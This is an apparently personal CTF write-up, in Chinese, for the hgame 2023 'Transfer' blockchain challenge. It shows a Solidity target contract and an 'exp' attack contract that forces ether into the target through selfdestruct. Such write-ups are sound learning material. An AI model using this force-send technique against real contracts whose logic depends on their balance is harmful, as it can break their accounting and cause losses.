hgame 2023 week2 Transfer
借hgame開始入門學習自己一直想接觸的Blockchain方向,在四周的比賽時間內會記錄hgame中有趣的問題,Crypto方向等a掉四周的題目一起放出來
原始碼:
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.7;
contract Transfer{
constructor() {}
function isSolved() public view returns(bool) {
return address(this).balance >= 0.5 ether;
}
}
需要使得balance的值≥0.5,這裡使用合約自毀函式selfdestruct,傳入payable address型別引數,自毀後該合約餘額全部傳入引數地址中
exp:
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.7;
contract Attack{
uint public balance = 0;
function destruct(address payable _to) external payable {
selfdestruct(_to);
}
function deposit() external payable {
balance += msg.value;
}
}
編譯後順序執行deposit destruct即可
第一道成功解出的Blockchain